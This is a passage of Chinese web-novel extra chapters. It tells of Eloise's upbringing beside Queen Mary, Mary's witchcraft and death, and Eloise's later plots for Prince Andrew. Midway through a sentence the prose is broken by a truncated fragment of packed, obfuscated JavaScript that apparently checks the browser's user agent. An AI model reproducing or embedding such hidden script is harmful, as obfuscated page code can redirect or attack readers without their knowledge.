“那是我的荣幸,我家中还有两位女儿,一位正好快到了婚配的年龄,我可要好好挑选一番,若是她们都能像您一样幸福,天呐,我这个做母亲的也就圆满了。” 两位女士一直聊着,直到王后的贴身女官告知殿下该来王后宫中请安了,公爵夫人才有些念念不舍地起身。 在玛丽王后看不到的角度,她重重地抓住艾洛薇的胳膊,压低声音,“你一定要和殿下好好相处,明白了吗。” 艾洛薇扭过头,目光紧紧追随着玛丽,她正轻声吩咐女仆去准备些孩子爱吃的点心。 公爵夫人等不到艾洛薇的回答,但在王宫之中又只能压制住怒火,最后愤然离去。 “卡尔总是喜欢吃些甜的,不过只能在我这吃些,艾洛薇阁下,也不知道你喜欢些什么点心呢?”玛丽是真心喜欢这位漂亮的小女孩,漂亮不仅仅是她的外表,而是她的内心。 “我都喜欢,只要是殿下您宫中的。”她的话引得玛丽又笑出声,艾洛薇从来没有在身边人脸上见到过这种笑容,姐姐们的笑总是含蓄而胆怯的,母亲的笑意味不明,父亲对着女仆们的笑让她觉得不适。 他们的笑都不像玛丽王后的笑容一样,有感染力,她不自觉地也模仿着王后嘴角的弧度,笑了起来。 “宝贝,你可太令人喜欢了!就该多笑笑。丽娜丽娜——快看看,果然还是女儿可爱,笑起来多好看啊。” 玛丽王后身边也总是欢声笑语,不像公爵府压抑又死寂的气氛。 我离开了那座牢笼,艾洛薇笑弯了眼。 玛丽对王子很好,艾洛薇第一次知道母亲也可以是这个样子,没有谩骂与讽刺,而是夸赞和亲吻。 她将安德鲁抱在怀中,满是笑意地询问今天的学习情况,时不时会惊呼,“太棒了,我的小王子。” 这时小王子脸上便会露出克制不住的笑容。 “这是艾洛薇,这段时间她会待在我身边学习,你要和她好好相处好吗?”玛丽将艾洛薇介绍给安德鲁。 初见的两人互相行礼,艾洛薇很喜欢玛丽,所以连带着她也很喜欢与玛丽容貌相似的安德鲁。 安德鲁还未到可以进入社交场的年龄,身边有的都是年龄相仿的男孩,这是他第一次接触到年龄差不多的女孩,有些好奇。 眼前的女孩和他身边的男孩们都不同,亚麻色的头发长而卷,整齐地披散在肩头,湛蓝色的眼睛,在阳光下显得很清透,就像将天空印在眼中一样。 孩子之间没有成年人那么多顾虑,短短半小时,两人就不见生疏了成为了朋友。 “剑术老师的胡子很奇怪,总是往上翘,练剑的时候我总分心关注他的胡子,玛丽说这样不礼貌,可是他就不能稍稍打理一下他的胡子吗。” 安德鲁悄悄和艾洛薇抱怨着他不敢和玛丽说的事,“过一会又有剑术课,希望今天他已经收拾好他的胡子了。” 剑术课,艾洛薇心思一动,这是她从来没听说过的课程,是男孩专属吗,她也能学吗,她坦率地问出口。 “应该可以吧,律法规定了女孩不可以学这个吗?”安德鲁作为储君,他的思维和别人不同,只要律法没有这么规定,那么就可以做,就算规定了又如何,储君是有特权的。 他站起来,朝着艾洛薇伸出手,“走,我们一起去上剑术课。” 艾洛薇紧紧握住了这只手。 安德鲁的决定没有遭到玛丽的反对,玛丽只是认真地询问艾洛薇,“练剑很辛苦,你会很累,还会受伤,即使这样你也要学吗?” 艾洛薇一直记得她问出这话时的表情,那时的艾洛薇并不懂,现在想来,玛丽口中的累与受伤并不止身体上。但在当时的她,只是坚定地握拳,回答:“是!殿下,我不怕疼痛,我想要学剑术!” 玛丽摸了摸她的头,“去吧,我替你给剑术老师写一封信。” 艾洛薇如愿以偿地学到了剑术,尽管剑术老师——一位国王骑士,并不乐意这支队伍里出现一个小女孩。 王后的命令,他会遵从,但也仅此而已。除了必要的教学,他从不额外矫正艾洛薇的姿势,更不会多余地指点。而他对另外一位同样学习的男孩亚克总是更严格一些。 但艾洛薇比他想象中的更努力,也更有天赋,难得的,他抛开性别,生出了几分爱才之心。 而艾洛薇也没有让他失望,比另外两位晚学了两年的她,短短几个月了已经能和两位打成平手,甚至压亚克一头。 就这样,过去了两年,她跟随着安德鲁学习着各种课程。亚克是安德鲁的伴读,但他总与艾洛薇不对付,两人总在安德鲁看不见的地方暗中较劲着。 玛丽日常大部分时间都在画画,人像、风景、各种花卉。有时艾洛薇会和她一起,玛丽则会指导她该怎么画。 见此安德鲁总是嫉妒地说,玛丽和艾洛薇更像一对母女,玛丽则会笑着把他搂紧怀里,亲亲他的额头。 除此之外还会有夫人们来王宫陪玛丽喝茶聊天,来的最多的是瓦兰许夫人。 夫人们总是向玛丽抱怨着丈夫们的不忠,但瓦兰许夫人不同,她会一一将这些私生子扼杀在摇篮里。 “您最好早做打算,那位与陛下纠缠已久,二子究竟是您的弟弟还是陛下的都不好说……” 见艾洛薇来了,玛丽打断了瓦兰许夫人转而说起了别的话题,但艾洛薇却将这些话记在了心里。 偶尔她也会从王宫之中回到家里,这时公爵夫人总会对她热情相待。艾洛薇已经学会了用客套的笑容面对外人,公爵夫人对此感到很欣慰,认为将她送到玛丽身边绝对是再正确不过的事,她已经是一位合格的淑女了。 “你可要记得是谁将你送到王后身边的,好好和殿下相处。”公爵夫人总是不厌其烦地说着。 大姐已经16岁了,本是可以进入海伦女校的年龄,但母亲因此和父亲争吵,认为应该尽早将她嫁人才是,何必浪费钱送到女校弄什么精英教育。 “我堂堂公爵的女儿,不送去女校,你是想让我被其他贵族们笑话吗?” “那老大送过去后,老二就不用送了。” “到时候再说,你相中了谁?” “温斯顿家那个二公子……” 门外大姐二姐神色冷漠,对于父母只考虑她们的婚姻价值已经习以为常。 但听到父母还是会将她送往海伦学校时,大姐明显松了一口气,找了借口离开了,她离开的脚步略显轻快。 “本来该去王宫的是我。”二姐忽然说道,她脸微微扭曲,“你为什么要出生,既然出生了为什么不是个男孩?” 艾洛薇望着这张有些陌生的脸,两年不怎么见面,二姐变化很大,不如说她以前从来没有认真记住两个姐姐的脸。 “你也变成怪物了。”她说。 二姐狠狠地推了她一把,但没有推动,常年习剑的她怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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按照惯例王室会举行盛大的舞会,只是今年战事吃紧,大臣们可能会要求一切从简。但玛丽不打算听从大臣们的安排,不管如何,在她心爱的儿子人生中重大的仪式上,她必须给出足够的排场。 艾洛薇年龄还小,这种场合她无法参加,她有些嫉妒能在这场舞会上见证安德鲁成长的人,她也想成为其中之一。 亚克很快也要离开王宫了,这让艾洛薇很欣喜,亚克年满12岁,是时候去教会参加骑士训练,成为一名侍童。 临走前一周,他与艾洛薇的决斗又一次输了,艾洛薇用木剑狠狠地将他手中的剑打落,并横在他的脖颈处。 “亚克,你又输了,承认不如我也没什么大不了的。” “哈?你不过是个女孩,现在能击败我只不过是因为你年龄小,等你长大就会变弱,到时候……” 艾洛薇把手中的剑扔到一旁,狠狠地给了他一拳,亚克反应过来后,迅速与她扭打在一起。 但艾洛薇更胜一筹,将亚克掀翻在地后,她骑在他身上,一拳又一拳打下去,“亚克,你这个懦夫!听好了,我现在能把你打倒在地,以后也能,二十岁、六十岁、八十岁,只要我活着,我就能一直一直打败你。” 闻讯赶来的安德鲁终于阻止了艾洛薇,他将艾洛薇拉起来,却没有管躺在地上的亚克。 如今的艾洛薇头发扰乱,嘴角还破了皮,她眼神凶狠地瞪着地上的亚克,第一次毫不掩饰地在安德鲁面前暴露了真实的自己。 安德鲁耐心地替她整理好头发,“好了洛薇,不生气了,我替你骂他。” 亚克缓了好一阵,才从地上挣扎着爬起向安德鲁行礼。 已经从侍从口中得知一切的安德鲁,用严厉的语气道:“亚克,你让我感到失望,希望从今以后你打败你的对手是因为自身变强,而不是等待对手变弱。现在向洛薇道歉,性别不是你恶言相对的理由。” “抱歉,艾洛薇,是我错了。”亚克深深地低下头。 “洛薇你要原谅他吗?” 艾洛薇摇头没有说话,她再一次意识到因为性别,她与安德鲁以及亚克的隔阂。难得地她迁怒了安德鲁,一言不发回到玛丽身边。 被她的狼狈吓到的玛丽,连忙找女仆们为她重新整理衣装,又亲自给她伤口上药,“我能知道你和亚克打架的理由吗。” “他说女孩迟早会变弱,为什么?因为我们时常会被魔鬼附体,迟早要结婚生子吗?” 这些事情过于复杂,玛丽不知该如何和她解释这一切,“女孩不会变弱,我们只会变得更强,经血也并非恶魔附体,而是让我们变得比男子更健康。” 玛丽让她趴在自己的膝上,就像一位母亲,和她说了许多,世人总是对女子诸多误解,将众多的不幸与灾难怪罪于女子身上。 “其实不然,女性才是被神明偏爱的种族。男人们只是害怕,害怕一旦女性们得知这些事实,就会不再服从他们,所以他们用各种规律束缚女子,让女子变得柔弱、单纯、乖巧,并逐渐失去与神明的联系……” “那要怎么样才能找回这份联系!”艾洛薇连忙问道,她不想服从这些男人。 “如今你已经有了联系了,不是吗,你比亚克更厉害,学习上比安德鲁更聪明,这些都是天赐的礼物,专属于你的,与神明的联系。洛薇不要停止做你自己,不要失去这份联系,不要像我一样。” 玛丽紧紧地拥着她,艾洛薇时常想,她若是在当时就察觉到了玛丽的异样,是否就能改变她们的结局。 为安德鲁准备的舞会,顺利举行,国王仍然在外征战,来不及赶回王都。这场宴会相当盛大,艾洛薇作为玛丽的贴身侍女一同出席了舞会。 舞会上觥筹交错,贵族们笑谈着,喧闹着,不停有夫人领着她们的女儿亦或是儿子来到玛丽与安德鲁面前攀谈,试图让孩子们互相认识。 “过几年你也可以加入其中,不要伤心。”安德鲁以为艾洛薇情绪低沉是因为不能离开玛丽身边,去宴会里穿梭认识新朋友。 但艾洛薇兴致缺缺地敷衍了安德鲁,她不喜欢宴会。 公爵夫人也带着二姐来到了王后身边,将二姐介绍给王后认识,二姐今天穿着得体,化着精致的妆容,全然不似那天对她的样子。 “时间过得真快啊,在过上几年安德鲁殿下也到了选妃的年龄了,也不知道您喜欢什么样的女孩。”公爵夫人调笑着,周围的夫人虽然在各自交谈,但艾洛薇注意到她们的眼神都在觑着宴会的核心。 玛丽笑容得体,“安德鲁还不急,陛下打算让他先去战场历练几年,成年后他可以选择自己喜欢的淑女。” 艾洛薇感觉这场宴会就是巨大的阴谋。怪物们伪装成人的样子,交谈着,笑闹着,想要将更多的人变成怪物。 我也会成为怪物吗,等我长大后——艾洛薇心中焦虑着。 111. 番外(2) 原本艾洛薇以为平静的日子会一直这么下去,偶尔会有怪物来到玛丽身边,又很快离去,玛丽永远是玛丽。 直到国王终于从战场上回来。 “安德鲁,我的儿子,有没有按时完成所有功课?”国王是一位很有气势的男子,他穿着厚重的铠甲,毫不避讳地闯入王后宫中,打破了这份平静, “玛丽,听说安德鲁的宴会你不顾财政大臣的阻拦,执意要大办。” “陛下,安德鲁是您唯一的儿子,他的生辰礼理应得到重视。”玛丽不容置疑地语气激怒了国王,他掀翻了点心桌。 当着安德鲁与众多侍卫的面,他愤怒地喘气,看着玛丽的眼神不像是在看相濡以沫的妻子,而是仇人。 他说,“安德鲁,作为储君,你来说,战争时期,大办宴会这是一位合格的王后所为吗?” “不,不应当,前线士兵在外征战,王室理应做好表率,克勤克俭……”一片死寂中,安德鲁有些沙哑的声音响起。 艾洛薇猛地抬头看向他,他却避开了她与玛丽的视线。 “很好,安德鲁,看来你的功课完成得不错。”国王赞许的话并未让任何人感到高兴,玛丽端坐在椅子上,静静地与他对视。 良久,国王带领众骑士转身离去,也带走了安德鲁,“让我检验一下你的剑术如何……” 提心吊胆的一众女仆这才松了口气,连忙收拾着残局。 艾洛薇小跑到玛丽身边,想要拥抱她,玛丽却第一次推开了她,“洛薇,最近你回公爵府。” 尽管艾洛薇再三请求,玛丽难得强硬而坚定地让人将她送回府上。 “陛下回来了,估计是有些事不能被你听到。” 对于王后这一行为,斐迪南公爵立刻回想他这些日子有没有留什么尾巴,应该也没做什么可能会惹怒陛下的事情。 “总之你这些天老实的待在家中,你大姐都快要结婚了,你应该和她学一学婚后的礼仪。” 艾洛薇自知她还远不到结婚的年龄,对所谓父亲的长篇大论说教也不感兴趣。不过对于一个孩子来说,适当的伪装成崇拜父母的模样,可以规避很多麻烦。 这是她与玛丽分开最长的时间,整整一个月艾洛薇都没能入宫。母亲因为怀疑她被王后厌弃,从最初的和蔼逐渐变回原本的模样。 公爵夫人甚至和公爵商议,要将艾洛薇送到另一国家的王后身边担任侍女,她有亲戚担任外交使臣。 而公爵也思索着可行性,对他来说三个女儿都只是能给他带了利益的物品,如果艾洛薇不能成为这个国家的王后,送出国未尝不可。 相比二姐的幸灾乐祸,大姐格外担忧艾洛薇的处境。 大姐安慰她:“我与伊丽莎白·温斯顿是朋友,或许我应该去问问她王后的情况。不用担心,洛薇,父亲母亲只是说说而已,我相信他们不会真的将你送出国。” 二姐则讽刺:“对她来说只要不待在家中看见我们,去哪都好,不是吗?” 艾洛薇确实不喜欢这一家人,两个姐姐自己也在策划着远离,凭什么一直被针对的只有她。 不过她还是装作感动和害怕的模样向大姐道谢。 玛丽最终还是派人将她接了回去,母亲的计划落空。 离开时公爵夫妇在外人面前又变成爱她、依依不舍与她分离的模样,全然看不出前一天两人还在派人替她整理行囊。 玛丽还是很憔悴,甚至比一个月前更加。但在见到艾洛薇的时候,她还是扬起笑容,如往常般询问艾洛薇这一个月的情况。 “殿下,我很担心您。”艾洛薇直言不讳,“这一个月每天都在担心您。” 玛丽的笑容微微敛去一些,她复杂地摸着艾洛薇的脸,“抱歉洛薇。” 艾洛薇不会和玛丽生气,只是有些气安德鲁。 “也不要怪卡尔,他是储君,理应忠于他的国王和父亲。” 艾洛薇张了张口,没有说话。如果玛丽都不打算责怪安德鲁,她又有什么立场? 说到底,女人总是不被选择的那一方而已,哪怕作出选择的是她的丈夫甚至她的儿子。 日子又恢复往日的平静,唯一不同的是,艾洛薇不能和安德鲁一同进行各项学习了,因为古斯塔一世时常会亲自检查安德鲁的课程情况。 不过她有很多的时间陪伴玛丽,玛丽偶尔也会亲自教导她一些律法上的知识。 安德鲁每天还是会来王后宫中,一直在试图缓和两人的关系。艾洛薇没多久还是原谅了安德鲁,这是她的小王子,虽然胆子很小,有时候还很弱,但是她除了玛丽之外最爱的人。 只是她觉得,在古斯塔一世身边待的越久,以前会安慰她的安德鲁、会为她斥责亚克斥责其他人的安德鲁,会逐渐消失不见。 一切都是古斯塔陛下的错,艾洛薇如此认为。 * “殿下最近经常把自己关在宫殿里。” “我上次看到她居然在和鸟说话。” “我也觉得宫中最近阴森森的,不会是殿下……” 莫名的谣言在宫中散播着,连玛丽的贴身女官都察觉到这种微妙的气氛,背着玛丽暗中整顿了几次。 玛丽似乎对这些一无所知,或许知道也不在意。她确实沉迷于某项神秘的事务之中,花园里的鸟也确实变多了,尤其是乌鸦。 “殿下可能是女巫。”那些侍女用既害怕又厌恶的语气肯定。 玛丽不可能是女巫——艾洛薇觉得女巫应该是自由且强大的存在,当然玛丽也很强大,但是玛丽被困在这片囚牢里。 她是女巫的话,早就应该飞出去了,还有让那些对她不尊重的人通通闭上嘴,比如古斯塔一世。 但是玛丽真的是女巫,她在某个平静的下午,就像是在询问艾洛薇想不想吃点心一样,和蔼地询问艾洛薇想不想学魔法。 “不是女巫也可以学魔法?”艾洛薇问。 玛丽笑道:“也有不是女巫也能学的,比如大部分草药学和部分炼金术。” 玛丽替艾洛薇打开了大门,带她来到了一个全新的世界。物品可以无火自燃、各色的焰火、夏日成冰,这些连她都可以做到。 而玛丽用真正魔法展示的那些,更是完全打破了她的认知。 无怪乎人们会害怕女巫,人总是会对不理解的人和物感到害怕,只是一部分被他们奉为神明,另部分则是想尽办法消灭。 “洛薇,希望这些在未来可以帮到你,但我更希望你永远也不要用到。” 玛丽赠送给她众多魔法道具,虽然都有详细的用途说明,但使用的是神文,此时的艾洛薇还并不能完全看懂这些。 沉浸于新奇世界的她,也没有注意到玛丽越发沉重的心事。 五月节前几日,艾洛薇回公爵府小住了几天。 这天母亲怒气冲冲从宴会回到家,用餐时面对家人也没什么好脸色,对着下人也是大喊大叫。 “你这是在做什么?好好用餐!”公爵今天也是满脸郁色。 公爵夫人将刀叉猛地拍在桌上,“玛丽就是个骗子!她可是答应过我未来的陛下会有斐迪南家一半血统!现在她都要被陛下废除了!安德鲁还能不能继续当王储都不好说!” “你一介妇人懂什么?温斯顿家绝不会允许这种事发生——玛丽什么时候答应过你?” “这不重要,重要的是艾洛薇还能嫁给王储吗?这可事关你们斐迪南家的荣耀!” “好了这种事先不要到处乱说,我会想其他办法……艾洛薇你也先不要和安德鲁走得太近——艾洛薇!艾洛薇!” 艾洛薇已经听不下去了,她第一次独自一人冲出了这个家。夜色里,年幼的她骑着马奔驰着寻找玛丽。 所幸这时的玛丽暂居在洛芙宫,而王后的侍卫认出了她。若是在王廷之中,她独自一人不可能进入。 “艾洛薇小姐?” 侍卫帮她控制住有些失控的马匹——对于一个十岁的孩子来说,成年骏马实在有些难以控制,侍卫都被她的大胆震惊到。 “玛丽殿下现在在哪?我有急事想要见她。”艾洛薇刚一下马,着急地询问。 侍卫告诉她王后饭后应当在花园里散步。 今日洛芙宫中守卫比以往更多,很多甚至不是宫中的侍卫,看起来像王室直属军。 而王后的花园附近也拥有众多守卫,艾洛薇以为是古斯塔一世派来监督玛丽的,对父母的话与玛丽的处境更加担忧几分。 她避开了守卫的士兵,偷溜进花园之中,这在黑暗里对一个小女孩来说并不难。 这是玛丽最爱的花园,只是她并不常住洛芙宫,只有夏天会来小住一段时间。艾洛薇也来过几次,她清楚地记得玛丽最爱去的地方。 只是今天,玛丽并不是一个人。 “谁!” 与玛丽交谈的大高个非常警惕,艾洛薇只是在草丛里窸窣而过,就被他敏锐地察觉。 他提着武器朝着动静发出的方向而来。 玛丽在原地没有动,只是视线转了过来,看清从草丛里冲出来的人影后,她向前两步叫停了男人, “等等!” 艾洛薇速度很快,避开男人停滞的剑锋扑到玛丽身边。 玛丽稳稳地接住了她,任由她藏到了身后,只留一双眼睛同样警惕地盯着眼前的陌生男人。 “洛薇?你怎么在这里?” “我想见您。”艾洛薇紧紧抱住玛丽的腰。 玛丽沉默地摸了摸她的头。 男人没有收起武器,不信任的眼神落到艾洛薇身上,他不会轻视任何一个孩子,“殿下,您说过这边绝不会有人前来,若是让其他人知道我们在此会面……” “洛薇不会说出去,她只是一个孩子而已,阁下您家中不也有两位同龄的孩子。” 听到玛丽提到他的孩子,男人还是稍稍敛去了杀意,收起了武器。 “既然殿下您这么说——您要的东西不久后我会送到您手中。但是您没有完成我们的约定,我想我们的合作要终止了,我会直接去寻找大巫。” “我说过了您的目标短时间不可能完成,教会在帝国的势力已经被消减,何不再等等……” “殿下!”男人打断她,“我已经没有时间了,十年已经是我的极限了。” 沉默在两人之间蔓延,玛丽张口几次,最终只说了一句抱歉。 “一个月内,您若是能说服陛下出兵攻打圣城——日后我的家族与伙伴定会全力辅助安德鲁殿下。” 玛丽没有立即答应,只说明会尝试。 男人说罢很快离开这座花园,只留下心情沉重的玛丽。 “他是谁?”艾洛薇一直安静地听两人对话,等到男人离开才问到。 玛丽扯出笑容,脸色稍稍回暖,“那是大元帅巴特·德文希伯爵,陛下身边最器重的人。” 她似乎不想过多讨论这位元帅,牵着艾洛薇,往宫殿的方向而去。 初夏的花园隐隐约约的虫鸣回荡在夜色中,荧光在草丛中穿梭,但两人都无心景色。 “洛薇,到底出了什么事,让你这么急匆匆跑过来?你怎么过来的?是有人送你吗?” 艾洛薇不敢说自己是骑马过来的,她才学会骑马没多久,还只骑过小马驹。方才她只能紧紧抱住马脖子,现在想起来还有些后怕。 所以她避开了这个话题,着急地询问:“她们说陛下要换人当王后,是真的吗?温斯顿家不是最有权势的家族,陛下是忌惮温斯顿家,才决定将您……” 玛丽半蹲下来与艾洛薇对视,作为一个女孩来说,艾洛薇实在太过于早慧了,而这个时代,聪慧的女孩总是不会有好下场。 她看到了艾洛薇眼中毫不掩饰的担忧,不仅聪慧,还太幼小,完全没有保护自己的能力。 “洛薇,答应我无论出什么事,优先保护好自己。在你没有足够的实力前,藏好你的不同——” 艾洛薇一直记得当时的情形,玛丽在听到她肯定的承诺后露出了笑容,五月盛开的花都不及这一展颜。 玛丽就像蝴蝶,想要从这座宫殿之网中挣脱,但是扇动翅膀引起的震动却影响着同在这张网上的其他人。 她的行动失败了,过于害怕女巫诅咒的侍女向国王的骑士举报了她。玛丽平时对她们好得有些过头了,这种时候她们反而毫不犹豫出卖了玛丽。 诅咒古斯塔一世的事情暴露,所有人都知道了玛丽是一位魔女,诅咒了君王,还试图嫁祸给教会。 国王骑士们赶到前,玛丽只能匆匆完成法阵的绘制,提前了发起了诅咒。 在绽放的梦幻紫色光芒里,玛丽发丝无风自动,像振翅欲飞般,嘴里颂出的却是对整个古斯塔家族的诅咒。 最终在国王暴怒的吼声中,王后宫中血流成河。 艾洛薇捂住了安德鲁的眼睛,她说:“安德鲁,不要看。” 湿润的热气在她掌心流动,安德鲁一直很胆小,连一只鸟儿死去都会让他害怕,尽管他装得很好。 眼前这片混乱,可不能让他看见,他会做很久的噩梦。所以只有她一直注视着玛丽,将残缺的蝴蝶紧紧记在眼中心里。 失去玛丽后,安德鲁要如何在这座囚牢里活下去?艾洛薇不知道,因为她也只是个孩子,什么都做不到。 她被送回了家中,迎接的是母亲与国王如出一辙的暴怒,只不过陛下暴怒是因为他被诅咒了,而母亲暴怒则是因为魔女玛丽毁了艾洛薇的名声。 “没办法,这两年你先去领地待着,等风头过了再回来,之后所有人都不再记得你曾经当过魔女的侍女,这样你也好再嫁人。”父亲宣告了她的命运,并连夜将艾洛薇送出了王宫。 她都来不及和安德鲁告别,安德鲁会不会认为他被抛弃了,听说他在宫中的处境并不好。 所幸温斯顿家族的长子,玛丽的兄长即将回到王都,她只能寄希望于这位温斯顿家族的继承人能为安德鲁提供一些微不足道的庇护。 艾洛薇在乡下待了四年,她原以为自己会无比怀念在王都的日子,却没想到这才是她人生中最自由的四年。 也是在这时候她接触到了两位大巫,达索琳和阿卡娜。 名为达索琳的大巫,告诉她:“玛丽生前希望我们为你提供一些帮助,你希望得到什么?” “赚钱,我要知道怎么赚钱!我想要很多很多的金币!足以掌握整个国家命脉的金钱!” “如您所愿。” 她还听到达索琳询问,“是她吗?” 另一位大巫语气疑惑,“命运的指引出现了偏差,她不再是天命之人,却与其命运息息相关。” 天命之人?那是什 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这是时隔四年,艾洛薇第一次知道安德鲁的处境,被国王厌弃,在宫中如履薄冰,被新任的温斯顿公爵操控,支持他的元帅一派因德文希伯爵之死全部倒戈。 “殿下过得不太好,寄给你的信全都被温斯顿阁下拦下毁坏了,他一直在试图劝公爵阁下让您回到王都,但你也知道,如今他的处境是有些微妙。” “那和我又有什么关系?以前是玛丽,现在是我,安德鲁什么时候才能不靠女人自己活着?”艾洛薇冷酷无情地将信揉成团,迎着亚克不敢置信地表情将他赶走。 但在亚克离开后,她又慢慢将信纸抚平,她想她找到自己的目标了,她要将小王子救出囚牢并据为己有。 只是要将小王子救出囚牢,她需要周密的计划,且需要一段漫长的时光,首先就要将自己伪装成足够完美的淑女。 安德鲁无可动摇的王储之位,也让斐迪南公爵夫妇再次心生希望——要让艾洛薇成为王子妃,未来成为王后。 公爵夫人开始频频带着艾洛薇出入各种社交宴会,回到贵族社交圈的艾洛薇,凭借着完美的容貌与挑不出任何错误的礼仪,很快成为贵女们的核心。 并在不久后在温斯顿家举行的宴会与即将成年的安德鲁见上了面。 安德鲁邀请了她跳舞,艾洛薇没有拒绝,这是她们的第一支舞。 “你回来了?” “嗯,也收到了你的信。亚克回去说了什么吗?” 安德鲁迟疑,“他……什么都没说。” 艾洛薇嗤笑,亚克那小子不添油加醋的说她坏话是不可能的事,她问:“安德鲁,你相信我吗?” 安德鲁沉默了,艾洛薇给他时间思考。舞伴交换,短暂分开的两人,又很快回到彼此身边。 “我不知道,洛薇,我不知道该信谁,我分辨不出。你说得对,失去玛丽后,我一无是处。”安德鲁贴在她的耳边,声音跟轻却很重。 “那就都交给我,安德鲁,我会带你离开。”艾洛薇郑重地许诺。 “好。”安德鲁也别无选择。 艾洛薇一边在社交场上如鱼得水,一边在策划着该如何完成她与安德鲁的约定。 直到新手女巫安娜,跌跌撞撞出现在她面前——想要报复玛丽的孩子,却诅咒失败的她被艾洛薇救下。 “来做个交易吧,安娜,我能让你成功诅咒安德鲁,而你则替我诅咒我的父亲斐迪南公爵,让他永远沉睡。” 艾洛薇知道大巫们在注视着她,她们还需要通过她来寻找真正的命定之人——时至今日,艾洛薇也不理解这个人存在的意义是什么,又是否真的存在。 安娜才刚成为女巫,懵懂又天真,就这么傻乎乎的答应了和艾洛薇的合作。 她们约定就在安德鲁的成年宴会上动手,让王室的颜面扫地。 安德鲁成年宴上开场舞仍然是与艾洛薇,她们就像是天作之合般。在这座王都,除了温斯顿家,也就只有斐迪南家同样拥有足够的权势,所有人都认为他们会是一对——除了国王陛下。 艾洛薇清楚地知道国王对温斯顿家的忌惮,对玛丽极其儿子安德鲁的厌恶,更知道国王还有一位私生子。 所以古斯塔一世活着她就不可能和安德鲁结婚,更不可能带走他。但是这座王位若是落不到安德鲁手里,不如毁掉。 尽管艾洛薇已经能够完美混迹在贵族之间,偶尔还是会觉得疲惫。尤其是这场宴会,她会送给安德鲁一份大礼——能够听到他人的心声,还有比这更棒的礼物吗。 希望安德鲁不会因此变成怪物,艾洛薇讨厌怪物。 外出透气的艾洛薇,在花园里漫无目的的闲逛,这座花园有些陌生,是玛丽死后宫中大改布局后重新修建的。 玛丽离开后,她还是第一次踏足宫中,熟悉又陌生。此时一阵清脆的笑声打断了她的思绪。 顺着笑声,她慢慢去往花园深处,只看到两位看起来和她年纪相仿的年轻人,背对她的那位夸张地比划着。 “他口中居然有一股大蒜味!还用手背擦嘴,之后又在找我握手——” “您好!德文希伯爵!久仰大名,您居然这么年轻?完全看不出四十岁的样子——我打断他,我想你大概说的是我的父亲,他已经死了——” “你应该看看他的脸色,像腐烂的苹果一样黑!” 面对艾洛薇的那位贵族小姐被逗笑,她笑的时候不像其他贵女紧闭着嘴、只扬唇角,或是用扇子遮住脸。 她不避讳地露出牙齿,还有两枚尖尖的虎牙,眼睛弯成漂亮月牙。光是看着就会被她的快乐感染。 “艾洛薇!”亚克在花园外四处张望,呼喊她的名字。 贵女被惊动,她漂亮的绿眼睛疑惑地望过来,与艾洛薇对视了几秒。在另一位年轻人转过头前,艾洛薇莫名选择了扭头逃离。 “艾洛薇!” “别叫了。”艾洛薇从花园里走出,脸色有些难看,她也不知道自己为什么要跑。 亚克比她脸色更难看,“殿下在到处找你!你到处乱跑什么!” “我是安德鲁的母亲吗?不时时刻刻看着他,他就会像个小婴儿一样哇哇哭?” 亚克气得跳脚,“你!你!殿下绝不可能让你成为他的王子妃!真是疯了!哪有你这样刻薄的人!” 一队卫兵从他们身边经过,艾洛薇面带得体的笑容与他们问好。而在侍卫们消失在拐角的瞬间,艾洛薇忽然发难—— “亚克,如果你不想永远都无法说话,就闭上你的嘴。”艾洛薇忽然掐着亚克的脖子,把他抵在墙上,压低了声音威胁, “你只需要当好安德鲁的狗,至于我的事,希望你不要指手画脚。” 仅仅是一瞬间,她便松开了手,但亚克还是咳嗽着弯下腰,抬头看她的眼神像是在看一头怪物。 艾洛薇掏出手帕,慢条斯理地净手,“大元帅——我是说死去的巴特·德文希,他家那对双子叫什么。” 亚克瞳孔瑟缩,好半天才缓过劲,艰难地答道:“伊登·德文希和克劳拉·德文希。” 不远处的树丛里传来很微小的动静,艾洛薇回头望去,只看到一片衣角消失在树后,她不感兴趣地收回视线。 “亚克,听好了,我不会成为王后——但我会亲自为安德鲁挑选一位合格的符合你预期的王后——” 112. 番外(3) 王宫里一片忙碌,这座王宫终于将迎来她的小主人,侍女们脸上带着抑制不住的欣喜。 克劳拉原本想进到产房里面,却被艾洛薇拒绝了,艾洛薇可不想让她看到自己最狼狈的时候。 弗洛伦斯很快赶到了产房,穿上白罩衣后,在门口净手,她注意到了房门口的克劳拉,忍不住笑起来打趣道:“不知道的还以为你才是孩子的父亲,放心吧,艾洛薇这一胎位很正,要不了多久。” 冷酷的国王陛下眉头一皱,“快进去!” “唉,在陛下心里艾洛薇永远最重要,我们都不过是受冷落的旁妃。”弗洛伦斯和身边的小女巫笑道,再次引来了克劳拉的瞪视。 她戴好手套和帽子后,才在小女巫的协助下进入室内。 九点的钟声慢慢敲响,“当——” “好久不见,克劳拉小姐。”几乎同时,世界意识的声音在克劳拉的脑内响起。 原本斜靠在墙上的克劳拉立刻站直身体。 察觉到她严肃的神情,守卫的骑士立刻询问她出什么事了。 “我离开一下,等洛薇孩子出世后立刻通知我——除此之外不要让任何人打扰我。”克劳拉迈开步子,径直推开隔壁的房间走进去关上门。 “好久不见,世界意识。” 世界意识并没有马上回复她,似乎在确认剧情发展。 几分钟后,祂暴跳如雷的声音回荡在克劳拉脑海里,“怎么回事!剧情怎么变成这个鬼样子了!为什么世界没有崩!” 相比之下,克劳拉显得冷静多了,虽然世界意识的震怒声让她额角胀痛。 在沙发上坐下,克劳拉翘起腿,“剧情不是像书中所写的那样吗——伊登过上了自己选择的生活,安德鲁成为了国王,并与艾洛薇结婚,他们的孩子将成为下一任国王。哪里不对了?” 世界意识怒道:“女巫从哪里冒出来的!托里曼人又是怎么回事!你为什么成为了国王!” “不是你说的,只要书中剧情达成了,过程以及我的结局都由我自己决定。”克劳拉露出一抹笑容,“既然世界没有崩塌,就意味着结局没有出错。” “你不懂!你不懂!”世界意识语无伦次。 脑海里响起一阵翻书声,克劳拉不禁好奇世界意识到底是什么东西,真的是神明吗。 好半天,翻书声停了,世界意识稍微冷静了些,继续道:“这个世界其实是由三本书组成的,我骗了你。” 